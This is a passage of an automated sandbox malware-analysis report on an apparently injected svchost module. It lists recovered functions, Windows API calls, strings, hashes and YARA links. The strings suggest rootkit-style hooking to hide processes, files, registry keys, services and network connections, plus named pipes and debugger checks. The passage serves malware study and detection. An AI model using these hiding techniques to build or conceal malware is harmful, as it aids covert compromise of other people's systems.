Part of subcall function 000001FB539C1628: RegCloseKey.ADVAPI32 ref: 000001FB539C176F
Part of subcall function 000001FB539C1628: RegOpenKeyExW.ADVAPI32 ref: 000001FB539C178F
Part of subcall function 000001FB539C1628: RegCloseKey.ADVAPI32 ref: 000001FB539C17AA
Part of subcall function 000001FB539C1628: RegOpenKeyExW.ADVAPI32 ref: 000001FB539C17CA

Sleep.KERNEL32 ref: 000001FB539C1AD7
SleepEx.KERNELBASE ref: 000001FB539C1ADD

Part of subcall function 000001FB539C1628: RegCloseKey.ADVAPI32 ref: 000001FB539C17E5
Part of subcall function 000001FB539C1628: RegOpenKeyExW.ADVAPI32 ref: 000001FB539C1805
Part of subcall function 000001FB539C1628: RegCloseKey.ADVAPI32 ref: 000001FB539C1820
Part of subcall function 000001FB539C1628: RegOpenKeyExW.ADVAPI32 ref: 000001FB539C1840
Part of subcall function 000001FB539C1628: RegCloseKey.ADVAPI32 ref: 000001FB539C185B
Part of subcall function 000001FB539C1628: RegOpenKeyExW.ADVAPI32 ref: 000001FB539C187B
Part of subcall function 000001FB539C1628: RegCloseKey.ADVAPI32 ref: 000001FB539C1896
Part of subcall function 000001FB539C1628: RegCloseKey.ADVAPI32 ref: 000001FB539C18A0

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 7138facc15c73e94db0cfb52103dedfc80ca7baf7500d53e4cc01c5e64d1c001
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 4C3180F520A64B51FF50AB26DAD13F953A6AB48BD0F0C54319E0B877BAEF2CC451C618

Function 000001FB5399273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000001FB5399285E

Memory Dump Source

Source File: 00000034.00000002.2003352169.000001FB53990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB53990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb53990000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 61dd91bc6a25e48f392e8f6ba260480b8200c95b887252fc9720a6961359b089
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: A661F1B3B0A69987DB548F15D1A07B9B39AF754BA4F1C8131DE9A03798DB38DC52CB00

Non-executed Functions

Function 000001FB539C2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000001FB539C2BD0
lstrlenW.KERNEL32 ref: 000001FB539C2E0A

Part of subcall function 000001FB539C199C: OpenProcess.KERNEL32 ref: 000001FB539C19C2
Part of subcall function 000001FB539C199C: K32GetModuleFileNameExW.KERNEL32 ref: 000001FB539C19E0
Part of subcall function 000001FB539C199C: PathFindFileNameW.SHLWAPI ref: 000001FB539C19EF
Part of subcall function 000001FB539C199C: lstrlenW.KERNEL32 ref: 000001FB539C19FB
Part of subcall function 000001FB539C199C: StrCpyW.SHLWAPI ref: 000001FB539C1A0E
Part of subcall function 000001FB539C199C: CloseHandle.KERNEL32 ref: 000001FB539C1A1C

GetProcAddress.KERNEL32 ref: 000001FB539C2BE5

Part of subcall function 000001FB539C152C: StrCmpIW.SHLWAPI ref: 000001FB539C155D

Part of subcall function 000001FB539C3844: StrCmpNIW.SHLWAPI ref: 000001FB539C385C

StrCmpNIW.SHLWAPI ref: 000001FB539C2C28
lstrlenW.KERNEL32 ref: 000001FB539C2D50

Strings

NtQueryObject, xrefs: 000001FB539C2BDB
\Device\Nsi, xrefs: 000001FB539C2C1B
ntdll.dll, xrefs: 000001FB539C2BC9

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 3ce0a275c11acc5e92f3c7ae4efb9db0a1a550ce48a5a8c3fee84c71d8458c05
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: F1B191B221A69A82EF549F25D4907F9A3A6F748B84F4C5036DE8B677A4DF39CC40C340

Function 000001FB539C7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001FB539C7DAC
RtlCaptureContext.NTDLL ref: 000001FB539C7DD9
RtlLookupFunctionEntry.NTDLL ref: 000001FB539C7DF3
RtlVirtualUnwind.NTDLL ref: 000001FB539C7E34
IsDebuggerPresent.KERNEL32 ref: 000001FB539C7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000001FB539C7EA9
UnhandledExceptionFilter.KERNEL32 ref: 000001FB539C7EB4

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 489a7c68e5e93f2be97043befc8e533eee2d989b9a1ceb06d858f03c7cbb19f7
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 59311DB620AB858AEB609F61E8907ED7365F784744F48442ADB4E97BA4EF3CC548C710

Function 000001FB539CD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001FB539CD31D
RtlLookupFunctionEntry.NTDLL ref: 000001FB539CD335
RtlVirtualUnwind.NTDLL ref: 000001FB539CD370
IsDebuggerPresent.KERNEL32 ref: 000001FB539CD3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000001FB539CD3B3
UnhandledExceptionFilter.KERNEL32 ref: 000001FB539CD3BE

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 6fdd1fba7bf15b503d1394c2c4db13ffaa122b827706bd4a70a70ebbee7c2285
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 29319376219F8586EB60CF25E8813EE73A1F789754F580125EA9E43B64DF3CC545CB00

Function 000001FB539C12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001FB539C1319
GetProcessHeap.KERNEL32 ref: 000001FB539C1327
HeapAlloc.KERNEL32 ref: 000001FB539C1338
RegEnumValueW.ADVAPI32 ref: 000001FB539C1397

Part of subcall function 000001FB539C152C: StrCmpIW.SHLWAPI ref: 000001FB539C155D

GetProcessHeap.KERNEL32 ref: 000001FB539C13DF
HeapAlloc.KERNEL32 ref: 000001FB539C13ED
GetProcessHeap.KERNEL32 ref: 000001FB539C140A
HeapFree.KERNEL32 ref: 000001FB539C1418
lstrlenW.KERNEL32 ref: 000001FB539C1421
GetProcessHeap.KERNEL32 ref: 000001FB539C142F
HeapAlloc.KERNEL32 ref: 000001FB539C143D
StrCpyW.SHLWAPI ref: 000001FB539C145F
GetProcessHeap.KERNEL32 ref: 000001FB539C1476
HeapFree.KERNEL32 ref: 000001FB539C1484

Strings

d, xrefs: 000001FB539C135A

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: e0d383892e9437e16feb1cfbd0bccaab8c6993bef60af1a4249abde3c73bbe4e
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: CF5160B6209B8686EB54CF62E4853AA77A2F789FC9F484534DE8A47728DF3CC045C700

Function 000001FB539C1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001FB539C1D1F

Part of subcall function 000001FB539C1FD4: GetModuleHandleA.KERNEL32 ref: 000001FB539C1FEC
Part of subcall function 000001FB539C1FD4: GetProcAddress.KERNEL32 ref: 000001FB539C1FFD

Part of subcall function 000001FB539C5B30: GetCurrentThreadId.KERNEL32 ref: 000001FB539C5B6B

Strings

NtDeviceIoControlFile, xrefs: 000001FB539C1E56
NtQueryDirectoryFileEx, xrefs: 000001FB539C1D9C
EnumServicesStatusExW, xrefs: 000001FB539C1E11, 000001FB539C1E32
NtResumeThread, xrefs: 000001FB539C1D62
EnumServiceGroupW, xrefs: 000001FB539C1DF0
advapi32.dll, xrefs: 000001FB539C1DF7, 000001FB539C1E18
NtEnumerateKey, xrefs: 000001FB539C1DB9
NtQuerySystemInformation, xrefs: 000001FB539C1D45
NtQueryDirectoryFile, xrefs: 000001FB539C1D7F
sechost.dll, xrefs: 000001FB539C1E39
ntdll.dll, xrefs: 000001FB539C1D2D
NtEnumerateValueKey, xrefs: 000001FB539C1DD6

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 6fe1454f222dbdc956f5aa37bac40278d1ba15de22a72ebfa92ae51e802ad3c4
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 1D314DF410AA4BA0FA04EF66E8D26F4A322AB44348F8C5433948B027769F7C8249D350

Function 000001FB53996910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001FB53996938
__scrt_acquire_startup_lock.LIBCMT ref: 000001FB5399698A
_RTC_Initialize.LIBCMT ref: 000001FB539969B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001FB539969DE
__scrt_release_startup_lock.LIBCMT ref: 000001FB53996A09

Strings

scriptor', xrefs: 000001FB53996B39, 000001FB53996BB2, 000001FB53996BEC
`eh vector vbase copy constructor iterator', xrefs: 000001FB539969EE
`eh vector copy constructor iterator', xrefs: 000001FB53996A3B
`dynamic initializer for ', xrefs: 000001FB539969C7

Memory Dump Source

Source File: 00000034.00000002.2003352169.000001FB53990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB53990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb53990000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: f6a05610631161f0791a0f46ca97f481bc5ebb53e9b00542c7e35bf7c6f5f54b
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: A3817EF370F28786FA509B65D4E13F96392A7857A0F5C4135AA47477B6EB3CC8458B00

Function 000001FB539CCE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000001FB539CCE37
FlsGetValue.KERNEL32(?,?,?,000001FB539D0A6B,?,?,?,000001FB539D045C,?,?,?,000001FB539CC84F), ref: 000001FB539CCE4C
FlsSetValue.KERNEL32(?,?,?,000001FB539D0A6B,?,?,?,000001FB539D045C,?,?,?,000001FB539CC84F), ref: 000001FB539CCE6D
FlsSetValue.KERNEL32(?,?,?,000001FB539D0A6B,?,?,?,000001FB539D045C,?,?,?,000001FB539CC84F), ref: 000001FB539CCE9A
FlsSetValue.KERNEL32(?,?,?,000001FB539D0A6B,?,?,?,000001FB539D045C,?,?,?,000001FB539CC84F), ref: 000001FB539CCEAB
FlsSetValue.KERNEL32(?,?,?,000001FB539D0A6B,?,?,?,000001FB539D045C,?,?,?,000001FB539CC84F), ref: 000001FB539CCEBC
SetLastError.KERNEL32 ref: 000001FB539CCED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000001FB539D0A6B,?,?,?,000001FB539D045C,?,?,?,000001FB539CC84F), ref: 000001FB539CCF0D
FlsSetValue.KERNEL32(?,?,00000001,000001FB539CECCC,?,?,?,?,000001FB539CBF9F,?,?,?,?,?,000001FB539C7AB0), ref: 000001FB539CCF2C

Part of subcall function 000001FB539CD6CC: HeapAlloc.KERNEL32 ref: 000001FB539CD721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001FB539D0A6B,?,?,?,000001FB539D045C,?,?,?,000001FB539CC84F), ref: 000001FB539CCF54

Part of subcall function 000001FB539CD744: HeapFree.KERNEL32 ref: 000001FB539CD75A
Part of subcall function 000001FB539CD744: GetLastError.KERNEL32 ref: 000001FB539CD764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001FB539D0A6B,?,?,?,000001FB539D045C,?,?,?,000001FB539CC84F), ref: 000001FB539CCF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001FB539D0A6B,?,?,?,000001FB539D045C,?,?,?,000001FB539CC84F), ref: 000001FB539CCF76

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 6d41343913785b7a6c2472a831a74eef6234c9dfd0991a1be6bdcb384e67cf70
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: C8412BF020B24F42FA68A725D6D63F927435B857B0F5C0734A9374A7FADB2C98029A50

Function 000001FB539C2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001FB539C2259
GetCurrentProcessId.KERNEL32 ref: 000001FB539C2263

Part of subcall function 000001FB539C1934: OpenProcess.KERNEL32 ref: 000001FB539C1952
Part of subcall function 000001FB539C1934: IsWow64Process.KERNEL32 ref: 000001FB539C1968
Part of subcall function 000001FB539C1934: CloseHandle.KERNEL32 ref: 000001FB539C1983

CreateFileW.KERNEL32 ref: 000001FB539C22BC
WriteFile.KERNEL32 ref: 000001FB539C22E4
ReadFile.KERNEL32 ref: 000001FB539C2303
CloseHandle.KERNEL32 ref: 000001FB539C230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 000001FB539C228C
\\.\pipe\dialerchildproc32, xrefs: 000001FB539C2293

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 03d7399eea3254e19b5d8266f2eebc46fa5138ef8e7893cb31c7892e277a4139
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: C721567661974583FB10CB25F4853A977A2F789B94F584625DA9A03BB8CF3CC145CB00

Function 000001FB53999944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001FB539999A1

Part of subcall function 000001FB5399A814: __GetUnwindTryBlock.LIBCMT ref: 000001FB5399A857
Part of subcall function 000001FB5399A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001FB5399A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001FB53999A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001FB53999CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001FB53999DDA

Strings

csm, xrefs: 000001FB539999BB
csm, xrefs: 000001FB53999A22
csm, xrefs: 000001FB53999A9C

Memory Dump Source

Source File: 00000034.00000002.2003352169.000001FB53990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB53990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb53990000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: fa9bbf22c5165d2bb50162e04197a4c728e4534f610685b807383e084df18b8a
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 5FE1A2B360A7428AFB60DF65D4D03ED77A6F749798F180125EE4A57BA5DB38C091CB00

Function 000001FB539CA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001FB539CA5A1

Part of subcall function 000001FB539CB414: __GetUnwindTryBlock.LIBCMT ref: 000001FB539CB457
Part of subcall function 000001FB539CB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001FB539CB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001FB539CA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001FB539CA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001FB539CA9DA

Strings

csm, xrefs: 000001FB539CA5BB
csm, xrefs: 000001FB539CA69C
csm, xrefs: 000001FB539CA622

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 338b81fb1fb998c2e9a63077ae0a77f9f53bcbf061a28ddd9ec4cac16e89678f
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 73E1D5B261A74A8AEB20DF25D4C13ED77A2F745B98F0C0125EE8A57BA5CB3CC581C701

Function 000001FB539CF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 000001FB539CF510
GetProcAddress.KERNEL32 ref: 000001FB539CF51C

Strings

api-ms-, xrefs: 000001FB539CF45A
ext-ms-, xrefs: 000001FB539CF46D

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 4aa6df102775c91470a30eaca5d58870190ca1f5ab6b237e14a952d32f0ac0da
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 2F41F1B231FA4681FA16CB16E8843F52393BB49BA0F4D45399D0B877A4EF3CC4458360

Function 000001FB539C104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001FB539C10B1
RegEnumValueW.ADVAPI32 ref: 000001FB539C1117
GetProcessHeap.KERNEL32 ref: 000001FB539C115A
HeapAlloc.KERNEL32 ref: 000001FB539C1168
GetProcessHeap.KERNEL32 ref: 000001FB539C1185
HeapFree.KERNEL32 ref: 000001FB539C1193

Strings

d, xrefs: 000001FB539C10D6

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: cd5e0a5dff588b072592f6f5fec2fbd5c03b9c3fd72847433edc5f87d93d953f
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 2C416273219B85C6E760CF61E4847AF77A2F389B98F488125DA8A47768DF3CC545CB40

Function 000001FB539CD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FlsGetValue.KERNEL32(?,?,?,000001FB539CC7DE,?,?,?,?,?,?,?,?,000001FB539CCF9D,?,?,00000001), ref: 000001FB539CD087
FlsSetValue.KERNEL32(?,?,?,000001FB539CC7DE,?,?,?,?,?,?,?,?,000001FB539CCF9D,?,?,00000001), ref: 000001FB539CD0A6
FlsSetValue.KERNEL32(?,?,?,000001FB539CC7DE,?,?,?,?,?,?,?,?,000001FB539CCF9D,?,?,00000001), ref: 000001FB539CD0CE
FlsSetValue.KERNEL32(?,?,?,000001FB539CC7DE,?,?,?,?,?,?,?,?,000001FB539CCF9D,?,?,00000001), ref: 000001FB539CD0DF
FlsSetValue.KERNEL32(?,?,?,000001FB539CC7DE,?,?,?,?,?,?,?,?,000001FB539CCF9D,?,?,00000001), ref: 000001FB539CD0F0

Strings

1%, xrefs: 000001FB539CD0CE
Y%, xrefs: 000001FB539CD0A6

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 968b9330f179ee5e314775584756f230334fc7093088daeda48f812371d2e503
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: DD110DB060E28E41FA68A72AD6D23FA63435B847E0F5C4235982B467FADB2C85029710

Function 000001FB539C7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001FB539C7538
__scrt_acquire_startup_lock.LIBCMT ref: 000001FB539C758A
_RTC_Initialize.LIBCMT ref: 000001FB539C75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001FB539C75DE
__scrt_release_startup_lock.LIBCMT ref: 000001FB539C7609

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: caca88eb4ff424c5bfd08270abe60720f522a2b93f121c2b0dd3a671aa919aca
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 60817BF960A64BCEFB50AB69E4D13F96392AB89780F5C44359A07C77B6DB3CC8458700

Function 000001FB539C9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000001FB539C9E49
GetLastError.KERNEL32 ref: 000001FB539C9E57
LoadLibraryExW.KERNEL32 ref: 000001FB539C9E81
FreeLibrary.KERNEL32 ref: 000001FB539C9EC7
GetProcAddress.KERNEL32 ref: 000001FB539C9ED3

Strings

api-ms-, xrefs: 000001FB539C9E69

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 76704e09874f35ba00da39aab094292295e922183a9bda5e610428fd81b52da4
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: BA31C0B121BA46A1EE22DB42E880BF56396B758BA0F5D09359D2F0B7A1EF3CC5558300

Function 000001FB539D3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001FB539D3DE5
GetLastError.KERNEL32 ref: 000001FB539D3DF1
CloseHandle.KERNEL32 ref: 000001FB539D3E09
CreateFileW.KERNEL32 ref: 000001FB539D3E34
WriteConsoleW.KERNEL32 ref: 000001FB539D3E53

Strings

CONOUT$, xrefs: 000001FB539D3E15

Memory Dump Source

